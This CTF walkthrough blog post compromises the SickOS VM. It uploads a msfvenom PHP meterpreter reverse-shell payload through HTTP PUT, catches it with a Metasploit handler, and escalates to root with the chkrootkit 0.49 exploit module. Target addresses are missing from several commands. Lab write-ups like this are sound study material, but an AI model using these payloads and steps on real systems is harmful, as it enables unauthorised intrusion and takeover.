Hack the SickOS 2.1 VM (CTF Challenge)

In this walk through I will explain how to solve the SickOs 1.2 challenge. This OS is second in following series from SickOs and is independent of the prior releases, scope of challenge is to gain highest privileges on the system. This CTF gives a clear analogy of how hacking strategies can be performed on a network to compromise it in a safe environment.

First Download Sick OS from Here

So, first let us find our target by using :


Our target is Further we will apply nmap scan :

nmap -A -p-

As you can see that port 80 is open that means we can open this IP in the browser. Why not do that?

Opening the IP in the browser will show us the above image which is of no use. You can try and look into the page source but unfortunately you will find nothing there. That is why we will use dirb and to find the directories. And for that type :


As a result you can see we have found our directory i.e. test Open it in the browser as well.

It will show you the list of directories. So let us try and explore test directory via curl.

curl -v -X OPTIONS

This exploring will show you that PUT is allowed that means you can upload through it.

So, prepare the malicious file that you would upload with msfvenom :

msfvenom -p php/meterpreter/reverse_tcp lhost= lport=4444 -f raw

Copy the code from <?php to die() and save it in a file with .php extension.

Now to upload your .php file we will use the add-on poster.

Click on the tools from the menu bar. And then click on Poster from the drop down menu.

A following dialog box will open. Here, browse the file that you will upload and click on PUT option.

It will show you that the file is uploaded.

And you can see the same on your browser that you file will be uploaded (as in our case the file is shell.php)

Simultaneously, open metasploit and use multi/handler :

use multi/handler

set payload php/meterpreter/reverse_tcp

set lhost

set lport 4444


After hitting enter button on your keyboard, run the file you just uploaded. It will give you a meterpreter session. Go to shell typing :


Now we need to import the python file to reach the terminal and to do so type :

echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py

Now there might the kernel version that we could exploit so to check its version type ;

lsb_release -a

As you can see that version is not exploitable so we will leave it alone.

Moving further type the following to explore more and find something to be exploitable :

ls -l /etc/cron.daily

The above command will give you the list of the files. On observing you can see that there is chkrootkit. Some of its version are exploitable therefore we will check its version and for that type :

chkrootkit -V

It will show you the version which is 0.49

We will now search for its exploit in the terminal of Kali by typing :

searchsploit chkrootkit

Hence, the exploits.

Now open metasploit and check the already opened session first and then look for the exploit by typing :

search chkrootkit

And the exploit which you have to use will appear. And to use this exploit type :

Then further type options so that you will know what options you are supposed to set. Checking the options you know you only need to assign he session and lport so type :

use exploit/unix/local/chkrootkit

set session 1

set lport 8080


Now check whether you have gained another session or not and for that type :


And as you can see you will surely have one more session and so to open that session type :

sessions -i 2

As you open the session check what user you are in and for that type :


It will show you that you are in root so further type :

cd /root

And to see the list of files in /root type :

ls -lsa

In the list you will see that there is a text file and to read that file type :

cat 7d83aaa2bf93d8040f3f22ec6ad9d5a.txt

Author: Yashika Dhir is a passionate Researcher and Technical Writer at Hacking Articles. She is a hacking enthusiast. contact here

Related Posts Plugin for WordPress, Blogger...

Leave a Reply

Your email address will not be published. Required fields are marked *